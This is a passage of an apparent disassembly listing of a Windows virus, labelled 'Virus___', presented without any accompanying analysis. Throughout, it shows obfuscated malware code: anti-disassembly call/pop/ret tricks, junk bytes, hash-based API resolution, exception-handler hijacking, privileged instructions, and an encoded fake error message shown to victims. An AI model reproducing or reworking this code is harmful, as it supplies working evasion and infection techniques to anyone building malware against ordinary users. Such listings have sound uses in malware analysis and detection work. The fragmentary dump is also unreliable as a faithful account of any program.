ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_59CBA3 endp ; --------------------------------------------------------------------------- db 3Bh ; --------------------------------------------------------------------------- jmp loc_59CBC8 ; --------------------------------------------------------------------------- db 7Eh, 2Ch, 0DBh dd 493A07DAh, 0DFEEDBE0h, 0D9CA2FBAh ; --------------------------------------------------------------------------- loc_59CBC8: ; CODE XREF: Virus___:0059CBB4j or [ebp+95D164Dh], ecx mov [ebp+95D245Dh], eax mov eax, eax jb loc_59CBE2 mov edx, [ebp+95D1479h] loc_59CBE2: ; CODE XREF: Virus___:0059CBD6j push 0F003Fh push 0 push edx call sub_59CBF2 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59CBF2 proc near ; CODE XREF: Virus___:0059CBEAp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_59CBF2 endp ; --------------------------------------------------------------------------- dw 0A313h ; --------------------------------------------------------------------------- dec esi aad 52h jmp loc_59CC11 ; --------------------------------------------------------------------------- lodsd inc ebp mov bh, 0Bh aaa loc_59CC11: ; CODE XREF: Virus___:0059CC07j push 0 mov edx, [ebp+95D1745h] push 0 jmp loc_59CC2B ; --------------------------------------------------------------------------- dd 2E88482Ah, 0B1A956E0h db 1Dh, 0F4h, 67h ; --------------------------------------------------------------------------- loc_59CC2B: ; CODE XREF: Virus___:0059CC1Bj call dword ptr [ebp+95D2BDDh] xor edx, [ebp+95D2A3Dh] test eax, eax sub [ebp+95D2BADh], edi mov [ebp+95FED26h], eax movsx ecx, bx push 0F01FFh cld cmp dword ptr [ebp+95D1639h], 0 jz loc_59CC94 push 0 push esi call sub_59CC66 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59CC66 proc near ; CODE XREF: Virus___:0059CC5Ep arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_59CC66 endp ; --------------------------------------------------------------------------- inc eax sahf xor eax, 63540764h xor dx, 2BADh mov cx, 0A99Ah lea eax, [ebp+95FED83h] jmp loc_59CCB3 ; --------------------------------------------------------------------------- movzx edi, bx loc_59CC94: ; CODE XREF: Virus___:0059CC55j lea eax, [ebp+95FED59h] jmp loc_59CCB3 ; --------------------------------------------------------------------------- db 32h dd 0BA61ADA4h, 50EC1351h, 0F22E6A3Fh, 0CFB581B3h db 51h, 6Eh, 87h ; --------------------------------------------------------------------------- loc_59CCB3: ; CODE XREF: Virus___:0059CC8Cj ; Virus___:0059CC9Aj push eax sub [ebp+95D086Dh], ebx and dl, 29h push dword ptr [ebp+95FED26h] or ecx, [ebp+95D06F9h] call dword ptr [ebp+95FED1Eh] jl loc_59CCDB xor [ebp+95D2159h], edi loc_59CCDB: ; CODE XREF: Virus___:0059CCCFj mov [ebp+95FED2Ah], eax mov [ebp+95D0C55h], esi mov dword ptr [ebp+95D0889h], 0 push 0 push esi call sub_59CCFC and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59CCFC proc near ; CODE XREF: Virus___:0059CCF4p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_59CCFC endp ; --------------------------------------------------------------------------- dd 0F4C39588h, 0ED2ABD83h, 0F00095Fh, 19584h, 7E800h, 39750000h dd 0B7EA383h, 28F0F0Ch, 51000000h, 858D5F5Ah, 95FF008h dd 2BCD958Bh, 8950095Dh, 5D0C0D8Dh, 89016A09h, 5D1199BDh dd 2AB5FF09h, 0F095FEDh, 1E88h, 12E800h, 33EA0000h, 0DE389F2Bh dd 0BE5C394h, 85B1218Dh, 0FBBDF06Ch, 331DE181h, 0FF5F3C29h dd 5FED2295h, 19958B09h, 0FF095D2Ch, 5FED2AB5h, 45BD0109h dd 0FF095D2Bh, 5D13B595h, 19958B09h, 68095D26h, 0F01FFh dd 5E9h, 0F181D700h, 0BD830ACEh, 95D1639h, 3A840F00h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 3B92C352h, 8B66C977h, 83858DD1h, 2B095FEDh dd 5D140D95h, 32E909h, 81660000h, 0B53A84CAh, 59858D61h dd 6A095FEDh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 645EC351h, 0BFE598B6h, 544C81BDh dd 6870F50h, 89000000h, 5D17558Dh, 26B5FF09h, 8A095FEDh dd 1E95FFF3h, 89095FEDh, 5D18918Dh, 2A858909h, 89095FEDh dd 5D2F858Dh, 2AB5FF09h, 81095FEDh, 9B9A6CEAh, 0C3B9667Ah dd 1A95FF36h, 0F095FEDh, 0B5FFD3BFh, 95FED2Ah, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 77C35545h, 1D814B0Ah dd 2A99B589h, 16BF095Dh, 0FF564EBCh, 5D13B595h, 0DE809h dd 23030000h, 5F76DAC8h, 84DFB8A4h, 3157BD74h, 5D17CD85h dd 58E95F09h, 6AFFFFF6h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 0E064C355h, 0BA9FBD6Ch dd 31B15F25h ; --------------------------------------------------------------------------- loc_59CEDC: ; CODE XREF: Virus___:0059CAB4j push dword ptr [ebp+95FF873h] call dword ptr [ebp+95D2259h] mov eax, [ebp+95D0299h] mov [ebp+95D13B9h], edi jmp loc_59D4D9 ; --------------------------------------------------------------------------- db 0E8h, 13h, 0 dd 0F6B50000h, 732A6376h, 0A962A740h, 853EBDC5h, 8637B1E3h dd 11958B2Bh, 5A095D28h, 0F028B58Dh, 8D8B095Fh, 95D1941h dd 0A432858Dh, 0BF0F095Fh, 0F5D0FFD2h, 0CE9006Ah, 8A000000h dd 99F704FAh, 500B427Ah, 0FFC8DEC4h, 5D02BD95h, 0DE809h dd 75180000h, 0A1C89027h, 0F4209670h, 8049C398h, 8B5F9CC9h dd 158501F3h, 8D095D21h, 5FA43285h, 52006A09h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 0BA9E7F75h dd 858B6018h, 95D2A25h, 4D858961h, 0FF095D10h, 9E8D0h dd 0D2C60000h, 0DDCB47h, 0FC1F979h, 6A59C9BFh, 6800F00h dd 60000000h, 0EA8A5956h, 0BD95FF61h, 89095D02h, 5D22199Dh db 9 ; --------------------------------------------------------------------------- loc_59CFC9: ; CODE XREF: Virus___:0059CA9Ej mov eax, eax xor cx, 8CF1h mov [ebp+95D2945h], eax cmp dword ptr [ebp+95D1809h], 0 jnz short loc_59CFE8 cmp dword ptr [ebp+95D0329h], 0 jz short loc_59D001 loc_59CFE8: ; CODE XREF: Virus___:0059CFDDj push eax push ebx mov eax, eax mov eax, 7D9h mov [ebp+95D10ADh], eax lea ebx, [ebp+95FAA61h] call ebx pop ebx pop eax loc_59D001: ; CODE XREF: Virus___:0059CFE6j cmp dword ptr [ebp+95D0329h], 0 jz short loc_59D021 push eax push ebx mov eax, 7D9h mov [ebp+95D10ADh], eax lea ebx, [ebp+95FA750h] call ebx pop ebx pop eax loc_59D021: ; CODE XREF: Virus___:0059D008j push edi mov [ebp+95D10A1h], edi pop edx mov ecx, 66F784A7h mov eax, eax xor cl, 0D9h push eax mov ebx, eax mov [ebp+95D1115h], edx jmp loc_59D049 ; --------------------------------------------------------------------------- db 5Bh, 92h, 63h dd 707262E6h ; --------------------------------------------------------------------------- push ecx loc_59D049: ; CODE XREF: Virus___:0059D03Cj push ebx lea ebx, [ebp+95D0A5Dh] mov eax, [ebx] mov [ebx], eax mov eax, [ebx+50h] mov [ebx+50h], eax lea ebx, [ebp+95FF80Ch] mov eax, [ebx] mov [ebx], eax pop ebx call near ptr loc_59D076+4 dec esp sub ah, [esi+546308BCh] pop ds pop edx test [ecx], al push esi loc_59D076: ; CODE XREF: Virus___:0059D065p fcomp dword ptr [ebp-7CF080DAh] adc [eax], al ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- call sub_59D08F cwde cli sub ah, [edx+ebp*2] add eax, 0CB67D726h ; =============== S U B R O U T I N E ======================================= sub_59D08F proc near ; CODE XREF: Virus___:0059D080p pop edx pop edi push 0 jmp loc_59D0A8 ; --------------------------------------------------------------------------- dd 0A42CA1ACh, 45100337h, 506FD1BCh, 3430E078h ; --------------------------------------------------------------------------- loc_59D0A8: ; CODE XREF: sub_59D08F+4j lea eax, [ebp+95FF80Ch] mov dl, 31h push eax and di, 0E441h push 60h push 0 push ebx call sub_59D0C3 and [ebx-3Dh], bl sub_59D08F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_59D0C3 proc near ; CODE XREF: sub_59D08F+2Cp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_59D0C3 endp ; --------------------------------------------------------------------------- mov ss, word ptr [eax+5F710269h] mov [eax-73h], esi mov ecx, edi mov [ebp+95D305Dh], edi lea eax, [ebp+95D0A5Dh] push 0 push edi call sub_59D0F6 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59D0F6 proc near ; CODE XREF: Virus___:0059D0EEp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_59D0F6 endp ; --------------------------------------------------------------------------- stc mov esi, [esi-52h] sub ecx, [ebp+95D0645h] add [ebp+95D1A35h], ecx push eax and ch, 4Eh push 0 push 0 push edi call sub_59D127 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59D127 proc near ; CODE XREF: Virus___:0059D11Fp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_59D127 endp ; --------------------------------------------------------------------------- adc dh, [ebx+48h] sti retn ; --------------------------------------------------------------------------- dd 2034BA42h, 6AB7C680h, 68D18B00h, 1800h, 0FE8h, 6E733800h dd 700EB31h, 934341A0h, 0D7ADAAB4h, 5C58D2Bh, 5359095Dh dd 95FFD48Ah, 95D0061h, 0F0E1F281h, 95FF3C80h, 95D1795h dd 8E9h, 652E2700h, 0C29642C7h, 73B5FFDDh, 0E8095FF8h dd 0Fh, 0EDE810B0h, 0AA11DA75h, 0E49B8E58h, 816716CFh dd 2EE85AE7h, 0EA8A594Ah, 225995FFh, 890F095Dh, 6, 2A758531h dd 858D095Dh, 95D0A5Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 13C35545h, 6D3FC9C0h, 894A57C1h, 5D1CD9BDh dd 18408B09h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 0FDC35646h, 0A79B1F1Bh, 79E63817h, 418D89F7h, 0C7095D09h dd 5D13AD85h, 9, 0EA816600h, 0BD83595Fh, 95D1639h, 19840F00h dd 81000000h, 319995D9h, 8C3D04h, 830F0000h, 1C3h, 11E9h dd 0D2B70F00h, 983Dh, 0B0830F00h, 66000001h, 858DF98Bh dd 5B243Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 0B7C35545h, 0C8C40A36h, 3820Fh, 0B70F0000h, 0FCD0FFD3h dd 1E8E858Dh, 6A005Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 0E8DDA3C3h, 0D0FA7EB0h, 0FFF9008Ch dd 7E9D0h, 3D410000h, 0BD027DB0h, 9D8D8BC5h, 8B095D1Eh dd 1958BC0h, 83095D14h, 5D1809BDh, 9750009h, 329BD83h dd 7400095Dh, 8B535019h, 0BC6B8C0h, 85890000h, 95D10ADh dd 0AA619D8Dh, 0D3FF095Fh, 0BD83585Bh, 95D0329h, 50177400h dd 0BC6B853h, 85890000h, 95D10ADh, 0A7509D8Dh, 0D3FF095Fh dd 0F52585Bh, 68Eh, 31852900h, 59095D25h, 0B360C08Bh, 14E81Fh dd 0C3DA0000h, 7A9B3493h, 9148591Ch, 1D89465Ah, 597CB59Ch dd 61606CE8h, 0F883615Bh, 67850FFFh, 60000000h, 858BCF8Bh dd 95D2675h, 5D85C761h, 95D0Fh, 0E8000000h, 10h, 9E4E8A33h dd 0DD83733Bh, 0C43DAD88h, 0DA48FCF5h, 16998D8Bh, 0E959095Dh dd 129h, 0CA8BEC8Ah, 67E9h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 9F280C22h dd 0BD633F1Fh, 11ADBD2Bh, 0F883095Dh, 35850F01h, 89000000h dd 5D038195h, 103E909h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 6273ECC3h, 27399D89h dd 8D89095Dh, 95D18EDh, 0FFF10AE9h, 0F1B589FFh, 8B095D1Eh dd 8960F8C0h, 5D211D95h, 0BD836109h, 95D1809h, 83097500h dd 5D0329BDh, 19740009h, 0C08B5350h, 7DDB8h, 0AD858900h dd 8D095D10h, 5FAA619Dh, 5BD3FF09h, 29BD8358h, 95D03h dd 53501774h, 7DDB8h, 0AD858900h, 8D095D10h, 5FA7509Dh dd 5BD3FF09h, 18D8B58h, 6A095D29h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0ED3AC352h dd 4BF87FBFh, 1391BD89h, 8589095Dh, 95D3195h, 9589C08Bh dd 95D02B9h, 0C8F0Fh, 8D0F0000h, 6, 15958Bh, 0E0E9095Dh dd 89000001h, 5D130D85h, 10858D09h, 89095FF6h, 5D32F995h dd 8858909h, 8B095FF8h, 5D176DBDh, 21E909h, 8B660000h ; --------------------------------------------------------------------------- xlat loc_59D4D9: ; CODE XREF: Virus___:0059CEF4j lea eax, [ebp+95FF418h] mov edi, [ebp+95D3371h] inc eax mov edi, 1B246759h mov [ebp+95FF808h], eax mov ecx, [ebp+95D27BDh] push 34h lea eax, [ebp+95D33DDh] push eax push dword ptr [ebp+95FF808h] push 0 call dword ptr [ebp+95D1659h] cmp eax, 7 jz loc_59D67F mov bx, ds test bl, 4 jnz loc_59D625 mov byte ptr [ebp+95D3335h], 56h push 9CA8B852h push dword ptr [ebp+95D08F1h] lea eax, [ebp+95D3973h] call eax push 4 push 1000h push 64h push 0 call eax mov [ebp+95FF87Bh], eax mov byte ptr [ebp+95D3335h], 47h push 0EC18AC9Bh push dword ptr [ebp+95D08F1h] lea eax, [ebp+95D3973h] call eax call eax mov esi, eax mov byte ptr [ebp+95D3335h], 4Fh push 0C62F2661h push dword ptr [ebp+95D0605h] lea eax, [ebp+95D3973h] call eax lea ebx, [ebp+95FF877h] push ebx push 28h push esi call eax test eax, eax jnz short $+2 mov byte ptr [ebp+95D3335h], 41h push 0DB876498h push dword ptr [ebp+95D0605h] lea eax, [ebp+95D3973h] call eax mov [ebp+95FF894h], eax mov byte ptr [ebp+95D3335h], 4Ch push 80A4E7A4h push dword ptr [ebp+95D0605h] lea eax, [ebp+95D3973h] call eax mov ebx, [ebp+95FF87Bh] lea ebx, [ebx+4] push ebx lea ebx, [ebp+95FF880h] push ebx push 0 call eax mov ebx, [ebp+95FF87Bh] mov dword ptr [ebx], 1 mov dword ptr [ebx+0Ch], 2 mov ebx, [ebp+95D2BF1h] mov dword ptr [ebp+95D0C09h], 0 push 0 push 0 push 0 mov ebx, [ebp+95FF87Bh] push ebx push 0 push dword ptr [ebp+95FF877h] call dword ptr [ebp+95FF894h] loc_59D625: ; CODE XREF: Virus___:0059D51Dj mov byte ptr [ebp+95D3335h], 45h push 92A5F797h push dword ptr [ebp+95D0711h] lea eax, [ebp+95D3973h] call eax push 0 push 2 call eax mov bx, ds test bl, 4 jnz short loc_59D67F mov ebx, [ebp+95FF87Bh] mov dword ptr [ebx+0Ch], 0 push 0 push 0 mov ebx, [ebp+95FF87Bh] push ebx push 0 push dword ptr [ebp+95FF877h] call dword ptr [ebp+95FF894h] push dword ptr [ebp+95FF877h] call dword ptr [ebp+95D1795h] loc_59D67F: ; CODE XREF: Virus___:0059D511j ; Virus___:0059D64Bj push 0 call dword ptr [ebp+95D02BDh] mov [ebp+95D1D39h], ebx mov [ebp+95D0BE1h], eax lea eax, [ebp+9602C94h] push ebx or [ebp+95D058Dh], ecx pop edi push eax mov [ebp+95D1EC5h], ecx push large dword ptr fs:0 add [ebp+95D0881h], ecx mov large fs:0, esp call sub_59D6CB jp short sub_59D709 sub [eax+4525CFC9h], esi jg short near ptr loc_59D6F8+1 ; =============== S U B R O U T I N E ======================================= sub_59D6CB proc near ; CODE XREF: Virus___:0059D6BCp ; FUNCTION CHUNK AT 0059D736 SIZE 0000000D BYTES movzx edi, cx pop edi cmp dword ptr [ebp+95D317Dh], 0 jz loc_59D736 mov edx, ecx cmp dword ptr [ebp+95D0971h], 1 jnz loc_59D736 push eax mov cx, 6F9Ch pop ecx cmp byte ptr [ebp+95FFC94h], 0 loc_59D6F8: ; CODE XREF: Virus___:0059D6C9j jnz loc_59D736 push 0 push edx call sub_59D709 and [edx-3Dh], bl sub_59D6CB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_59D709 proc near ; CODE XREF: Virus___:0059D6C1j ; sub_59D6CB+36p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_59D709 endp ; --------------------------------------------------------------------------- xlat stc xchg eax, ecx sub [ecx+79h], ebp and [ecx-17h], dh pop edi add [eax], eax add [esi+56h], dl jmp loc_59D734 ; --------------------------------------------------------------------------- dw 9F9h db 0CCh db 12h, 0AFh, 0A3h ; --------------------------------------------------------------------------- loc_59D734: ; CODE XREF: Virus___:0059D729j pop edi pop edx ; START OF FUNCTION CHUNK FOR sub_59D6CB loc_59D736: ; CODE XREF: sub_59D6CB+Bj ; sub_59D6CB+1Aj ... xor ebx, ebx push 0 push esi call sub_59D743 and [esi-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_59D6CB ; =============== S U B R O U T I N E ======================================= sub_59D743 proc near ; CODE XREF: sub_59D6CB+70p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_59D743 endp ; --------------------------------------------------------------------------- db 2Bh dd 798FDCF6h, 0BD8B6BDEh, 95D060Dh, 0F40C033h, 640B073Fh dd 58Fh, 0C4830000h, 0ADB96604h, 0E6BA6684h, 0FFFB8356h dd 31840Fh, 0F7810000h, 2C769743h, 0EFE9h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 2FB360FDh, 285D952Bh, 0E961095Dh, 72h, 185D9589h, 0B589095Dh dd 95D0021h, 0C244C8Bh, 0A481C7h, 0FFFF0000h, 8183FFFFh dd 0B8h, 0C3C03304h, 0C245C8Bh, 0E855h, 815D0000h, 602CB6EDh dd 0B8838B09h, 8D000000h, 602D5685h, 0B8838909h, 5D000000h dd 0FC3C033h, 1B82h, 13E800h, 868C0000h, 97F3E1E2h, 5AA88FA5h dd 0FE33CF27h, 365842E9h, 5F8DB5A5h, 281CF281h, 858D19EBh dd 9602CACh, 8D8B50F8h, 95D32B1h, 9C19503h, 0FF64095Dh dd 35h, 95950300h, 64095D09h, 2589h, 0CA8B0000h, 0AB9h dd 0D704B800h, 64054855h, 0BB0DF781h, 8685D465h, 34B640BAh dd 0E8EA8100h, 0ED00345Fh, 5868FB81h, 0A75564Dh, 10C985C7h dd 1095Dh, 8F640000h, 5, 4C48300h, 6C58D8Bh, 0B70F095Dh dd 11E9FEh, 0C0C10000h, 34241CB7h, 67658EFAh, 86AE89E9h dd 8B24832Ch, 0BD83F9C0h, 95D1809h, 83097500h, 5D0329BDh dd 19740009h, 0C08B5350h, 43DB8h, 11858900h, 8D095D13h dd 5FAAC89Dh, 5BD3FF09h, 29BD8358h, 95D03h, 53501774h dd 43DB8h, 11858900h, 8D095D13h, 5FA7699Dh, 5BD3FF09h dd 0FFB70F58h, 38D6E781h, 0BD8B3868h, 95D2645h, 47E9C08Bh dd 4000001h, 31000000h, 3031392Eh, 7 dup(0) dd 63784500h, 69747065h, 49206E6Fh, 726F666Eh, 6974616Dh dd 50006E6Fh, 7361656Ch, 63202C65h, 61746E6Fh, 74207463h dd 73206568h, 7774666Fh, 20657261h, 65766564h, 65706F6Ch dd 77207372h, 20687469h, 20656874h, 6C6C6F66h, 6E69776Fh dd 6F632067h, 2E736564h, 61685420h, 79206B6Eh, 0A2E756Fh dd 200D0A0Dh, 20202020h, 28202020h, 73657270h, 54432073h dd 432B4C52h, 206E6F20h, 73696874h, 6E697720h, 20776F64h dd 63206F74h, 2079706Fh, 63206F74h, 6270696Ch, 6472616Fh dd 20202029h, 0A0D0A20h, 7265560Dh, 6E6F6973h, 203D2020h dd 0D0A7325h, 63656843h, 204E496Bh, 25203D20h, 430D0A64h dd 6B636568h, 2054554Fh, 6425203Dh, 72500D0Ah, 4E49636Fh dd 3D202020h, 0A642520h, 6F72500Dh, 54554F63h, 203D2020h dd 0D0A6425h, 74697845h, 20204E49h, 25203D20h, 450D0A64h dd 4F746978h, 20205455h, 6425203Dh, 50540D0Ah, 20206E69h dd 3D202020h, 0A642520h, 0BD83000Dh, 95D3399h, 2D840F00h dd 8D000001h, 5FA58085h, 858D5009h, 95FA4EAh, 16850h, 95FF8000h dd 95FA590h, 2DE3858Dh, 8D500960h, 602DED85h, 6A5009h dd 858D006Ah, 95FA4FEh, 80B5FF50h, 0FF095FA5h, 5D278195h dd 0E3858D09h, 5009602Dh, 2DF1858Dh, 6A500960h, 8D006A00h dd 5FA51085h, 0B5FF5009h, 95FA580h, 278195FFh, 858D095Dh dd 9602DE3h, 0FD858D50h, 5009602Dh, 6A006Ah, 0A55D858Dh dd 0FF50095Fh, 5FA580B5h, 8195FF09h, 8D095D27h, 602DE385h dd 858D5009h, 9602E05h, 6A006A50h, 7B858D00h, 50095FA5h dd 0A580B5FFh, 95FF095Fh, 95D2781h, 2DE3858Dh, 8D500960h dd 602E0185h, 6A5009h, 858D006Ah, 95FA564h, 80B5FF50h dd 0FF095FA5h, 5D278195h, 0E3858D09h, 5009602Dh, 2DF5858Dh dd 6A500960h, 8D006A00h, 5FA56C85h, 0B5FF5009h, 95FA580h dd 278195FFh, 858D095Dh, 9602DE3h, 0F9858D50h, 5009602Dh dd 6A006Ah, 0A573858Dh, 0FF50095Fh, 5FA580B5h, 8195FF09h dd 0FF095D27h, 5FA580B5h, 8D95FF09h, 0E9095D10h, 0A2h dd 1461BD83h, 0F00095Dh, 9584h, 71BD8300h, 95D09h, 11850Fh dd 958B0000h, 95D24C5h, 1CF8C281h, 0FE90000h, 8D000000h dd 5D0A5D95h, 34528B09h, 0C340C281h, 95893BD4h, 95D2511h dd 2511BD83h, 0F00095Dh, 5584h, 119D8B00h, 83095D25h, 38B4CC3h dd 2DED8589h, 9D8B0960h, 95D2511h, 8B50C383h, 0F1858903h dd 8B09602Dh, 5D25119Dh, 54C38309h, 8589038Bh, 9602DFDh dd 25119D8Bh, 0C383095Dh, 89038B58h, 602E0185h, 119D8B09h dd 83095D25h, 38B5CC3h, 2DF58589h, 0BD830960h, 95D3399h dd 0D850F00h, 83000000h, 5D1461BDh, 840F0009h, 68h, 2E05B5FFh dd 0B5FF0960h, 9602DF9h, 2DF5B5FFh, 0B5FF0960h, 9602E01h dd 2DFDB5FFh, 0B5FF0960h, 9602DF1h, 2DEDB5FFh, 858D0960h dd 9602DE7h, 1F858D50h, 5009602Eh, 0CF5858Dh, 0FF50095Dh dd 5D111D95h, 24C48309h, 858D406Ah, 9602E09h, 0F5858D50h dd 50095D0Ch, 95FF006Ah, 95D1659h, 95FF016Ah, 95D02BDh dd 11E8C18Bh, 4D000000h, 0F3BB9F64h, 0C14BCA51h, 0EC78FC85h dd 0A19DF547h, 0DE8h, 1A520100h, 9BA886A2h, 0E5E5DD4Eh dd 595EE57Dh, 68D0F57h, 0F000000h, 85h, 0C1815F00h, 6154h dd 0FF08166h, 51EDBA4Dh, 0C281748Fh, 8B70C634h, 0FFF1BF0Fh dd 0E4BF6631h, 0BE665BA8h, 0C381A30Ch, 3ED51797h, 6E8h dd 395FA100h, 662D5FF5h, 8158F08Bh, 6251CFF3h, 0A3F3814Fh dd 0F7D0CE5h, 1581h, 0BE800h, 4C880000h, 942BCAB1h, 0A46258DEh dd 8FBE661Dh, 19895FD0h, 8B04E983h, 1EA83F1h, 1E850Fh dd 0B3BF0000h, 0E97CBBB9h, 27h, 272ED978h, 0C93E9943h dd 2ECE2D9Dh, 0E476118Eh, 90ADAD38h, 0FFFF86E9h, 5110AFFFh dd 3F49929h, 396C1C7Fh, 0EB2C3934h, 46F31718h, 9Bh, 4 dup(0) dd 20BE900h, 8B600000h, 0E824245Ch, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 960328Ch popa retn 4 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFFFE6h, 8C26160h, 0FFF6E900h, 6160FFFFh, 0E90008C2h dd 0FFFFFFF6h, 8C26160h, 0FFF6E900h, 6160FFFFh, 0E90008C2h dd 0FFFFFFF6h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59DDFC: ; CODE XREF: Virus___:0059DDFFj pusha popa retn ; --------------------------------------------------------------------------- jmp loc_59DDFC ; --------------------------------------------------------------------------- mov esi, [ebp+96032C4h] and esi, 0FFFFF000h jmp loc_59DE20 ; --------------------------------------------------------------------------- loc_59DE15: ; CODE XREF: Virus___:0059DE26j call sub_59DE33 add esi, 1000h loc_59DE20: ; CODE XREF: Virus___:0059DE10j cmp esi, [ebp+96032C8h] jbe loc_59DE15 mov eax, cr3 mov cr3, eax iret ; =============== S U B R O U T I N E ======================================= sub_59DE33 proc near ; CODE XREF: Virus___:loc_59DE15p pusha popa retn sub_59DE33 endp ; --------------------------------------------------------------------------- loc_59DE36: ; CODE XREF: Virus___:0059DE62j push eax mov ax, cs and al, 3 or al, al jz loc_59DE5D push eax push ebx mov ebx, 2 mov eax, [ebp+95D2511h] loc_59DE51: ; CODE XREF: Virus___:0059DE55j xchg bl, [eax] or bl, bl jnz loc_59DE51 pop ebx pop eax loc_59DE5D: ; CODE XREF: Virus___:0059DE3Ej pop eax inc dword ptr [esp] retn ; --------------------------------------------------------------------------- jmp loc_59DE36 ; --------------------------------------------------------------------------- db 50h dd 82474FFh, 245595FFh, 0F50095Dh, 0FE244C01h, 1CC08358h dd 245C8B53h, 5889660Ch, 588966FCh, 8C665B02h, 0A0324C8h dd 9840FC0h, 8B000000h, 5D251185h, 0C609h, 2404FF58h, 0E90004C2h dd 0FFFFFFBBh, 8C665053h, 3E380CBh, 840FDB0Ah, 38h, 2BBh dd 11858B00h, 86095D25h, 0FDB0A18h, 0FFFFF685h, 0D985C7FFh dd 95D11h, 8B000000h, 8B082444h, 100098h, 988900h, 8B000010h dd 0E9188918h, 0Ah, 11D985C7h, 100095Dh, 5B580000h, 0C32404FFh dd 0FFFFA3E9h, 3E8060FFh, 31840F00h, 0BB000000h, 763AB7A1h dd 1B101B0h, 13E9h, 0C88AAC00h, 0C332C302h, 0BAACBD1h dd 1840FD2h, 4A000000h, 850FC90Ah, 0FFFFFFE5h, 850FD20Bh dd 0FFFFFFDDh, 8B52C361h, 7A8B57D4h, 0E9C03308h, 1, 3F80AAh dd 0FFF6850Fh, 5A5FFFFFh, 530004C2h, 0C0335651h, 10E9DB33h dd 0AC000000h, 0D3D1D833h, 5ABCC381h, 0C88A3746h, 0B49D3D3h dd 0E8850FC9h, 8BFFFFFFh, 5B595EC3h, 0A1BB60C3h, 0B0763AB7h dd 11E901h, 32AC0000h, 0D1C32AC3h, 0D20BAACBh, 1840Fh dd 0A4A0000h, 0E7850FC0h, 0BFFFFFFh, 0DF850FD2h, 61FFFFFFh dd 0D88C66C3h, 840F04A8h, 29h, 326985C7h, 10960h, 0F500000h dd 0FE244C01h, 326D858Fh, 858D0960h, 9603265h, 326DBD8Dh dd 38890960h, 23E9h, 5D858D00h, 8B095D0Ah, 17053840h, 899B46F3h dd 60326585h, 5D858D09h, 8B095D0Ah, 85893C40h, 9603269h dd 3282858Dh, 85890960h, 95D2455h, 87E9h, 0D48B5200h, 8728B60h dd 0B80C7A8Bh, 0A945CAB2h, 7E9h, 30060000h, 46C8D106h dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h, 8728B60h dd 0B80C7A8Bh, 0A945CAB2h, 7E9h, 28063000h, 46C8D106h dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h, 33535156h dd 8728BDBh, 0E90C4A8Bh, 13h, 0F2D3CACh, 0A84h, 34980400h dd 0C1D83213h, 0B4908C3h, 0E5850FC9h, 8BFFFFFFh, 5E595BC3h dd 8C25Ah, 34F5858Dh, 85890960h, 95D2961h, 351D858Dh, 85890960h dd 95D12E1h, 3545858Dh, 85890960h, 95D2731h, 8EBh, 0 dd 7BE90000h, 60000000h, 4C010F52h, 835AFE24h, 858B24C2h dd 95D0971h, 69DE858Dh, 88B0960h, 1000888Bh, 0A8B0000h dd 0FC4A8B66h, 35A68D89h, 0BD830960h, 95D1639h, 0F840F00h dd 60000000h, 95FF006Ah, 95D11B1h, 0FFC4E961h, 8966FFFFh dd 0CEC1FC72h, 72896610h, 4CD5202h, 0A285895Ah, 8B096035h dd 6035A6B5h, 10CEC109h, 2728966h, 35A6B58Bh, 89660960h dd 8B61FC72h, 6035A285h, 958DC309h, 95D1B35h, 25119589h dd 9589095Dh, 95D2215h, 221585FFh, 85C6095Dh, 95D3335h dd 48D86853h, 0B5FFFCB1h, 95D08F1h, 3973858Dh, 0D0FF095Dh dd 11B18589h, 858D095Dh, 960329Ch, 7698589h, 0EB095Dh dd 5A5E9h, 599E900h, 